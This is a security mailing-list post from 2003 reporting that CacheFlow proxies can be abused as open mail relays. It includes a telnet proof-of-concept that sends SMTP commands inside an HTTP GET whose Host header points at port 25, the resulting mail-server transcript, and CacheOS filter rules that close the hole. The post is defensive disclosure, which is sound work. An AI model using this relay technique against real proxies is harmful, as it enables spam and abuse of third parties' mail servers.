In-Reply-To: <Pine.LNX.4.44.0210160747300.20004-100000 (at) ultra1.hugo.vanderkooij (dot) org [email concealed]>

Related to: http://www.securityfocus.com/archive/75/295545/2003-09-

07/2003-09-13/2

I talked with Blue Coat about this this morning, and it's a pretty

easy fix.

Cacheflow publisched information relating to a vulnerability in the

CONNECT method of the CacheOS.

Here's their document(as html):

http://216.239.39.104/search?

q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_con
ne

ct.pdf+&hl=en&ie=UTF-8

The document says that CacheFlow offers two solutions for the problem:

CacheOS 4.0.x and above:

cacheflow#conf t

cacheflow#(config)services

cacheflow#(config services)http

cacheflow#(config services http)attribute connect ?

enable Do NOT block CONNECT requests

disable Do block CONNECT requests

**This is the method I used to disable connect methods.

For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:

cacheflow#conf t

cacheflow#(config)inline filter-list local ccc

https://.*:(443|80) service=yes

https://.*:[0-9]+/ service=no

ccc

CacheFlow specifically says, in their PDF, that the first filter regex

will explicitly allo HTTP and HTTPS traffic, and that the second line

will ***BLOCK TRAFFIC TO ALL OTHER PORTS***

This is functionaly incorrect.

I'm running CacheOS Version: SA 4.1.10016.

On a CacheFlow 7XX series proxy.

This method, as described in the PDF, did in fact block the CONNECT

requests from being processed, and returned a bad method error.

Disabling the connect method didn't fix the problem we had with spammers

relaying through our cacheflow. It turns out that unlike SQUID, which is

set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.

------------------------------------------------------------------------
--

telnet ip.or.hostname.of.cacehflow 80

GET / HTTP/1.1

HOST: mailserver.victim.com:25

HELO .

mail from: spammer (at) alter (dot) net [email concealed]

rcpt to: target (at) unsuspecting (dot) com [email concealed]

DATA

Subject: Look Ma! I'm an open relay

HI, you've been spammed through an open proxy, because of a bug in the

OS code. Have a Great Day!

-Spammer

.

220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003

11:15:31 -0400

500 5.5.1 Command unrecognized: "GET / HTTP/1.0"

500 5.5.1 Command unrecognized: "HOST: memnoch.sugarat.net:25"

250 mailserver.victim.com Hello CacheFlowServer@[xxx.x.x.xx], pleased to

meet you

250 2.1.0 spammer (at) alter.net. (dot) . [email concealed] Sender ok

250 2.1.5 target (at) unsuspecting.com. (dot) . [email concealed] Recipient ok

354 Enter mail, end with "." on a line by itself

250 2.0.0 h8AFFVfo011729 Message accepted for delivery

500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"

500 5.5.1 Command unrecognized: "Connection: Keep-Alive"

500 5.5.1 Command unrecognized: "Client-ip: xx.xx.x.xxx"

500 5.5.1 Command unrecognized: ""

^]

telnet> close

Connection closed.

------------------------------------------------------------------------
--

Once you do this, you'll see the entire smtp session sent as a GET to the

mail server, complete with carriage returns, which the mail server will

receive in the appropriate order, and the mail will be sent.

After the HOST header, the CacheFlow doesn't issue it's request until

it sees two sequential carriage returns. So it will send the whole email

session in the GET as long as it's before the \r\r.

On CacheOS 4, the only way to get around this is to use the CacheOS 3

inline filter solution to the CONNECT bug.

But you need to expand it a bit:

https://.*:(443|80) service=yes

https://.*:[0-9]+/ service=no

DOES NOT limit ports, when the service is HTTP, as the document says.

TO Actually limit connections to services though HTTP, you need to

add the entries prefixed by 'http', as well as 'https'.

(This is what Jim at Blue Coat told me, and it worked)

https://.*:(443|80) service=yes

https://.*:[0-9]+/ service=no

http://.*:(443|80) service=yes

http://.*:[0-9]+/ service=no

------------------------------------------------------------------------
--

cacheflow#conf t

cacheflow#(config)inline filter-list local ccc

https://.*:(443|80) service=yes

https://.*:[0-9]+/ service=no

ccc

------------------------------------------------------------------------
--

That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST

header.

This may already be well known, but I'm not really a cacheflow guy, and I

couldn't find ANYTHING about it on google, altavista, or any of the

security sites (security focus, bugtraq, security tracker, etc.)

Fortunatly for me, my co-worker Curly is as ingenious as any spammer out

there.

-Charlie "Curly" Benatti & Tim Kennedy

>On Wed, 16 Oct 2002, Alain Fauconnet wrote:

>

>> Hugo van der Kooij <hvdkooij (at) vanderkooij (dot) org [email concealed]> wrote:

>>

>> I'm stuck. Anything you have found?

>

>Unfortunatly not at the monment. I am planning to put the machine up at

>times when someone can babysit the segment to get a proper trace for

>analyses.

>

>After which we intend to raise hell with CacheFlow.

------------------------------------------------------------------------
---
Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
technical IT security event. Modeled after the famous Black Hat event in
Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
------------------------------------------------------------------------
----

[ reply ]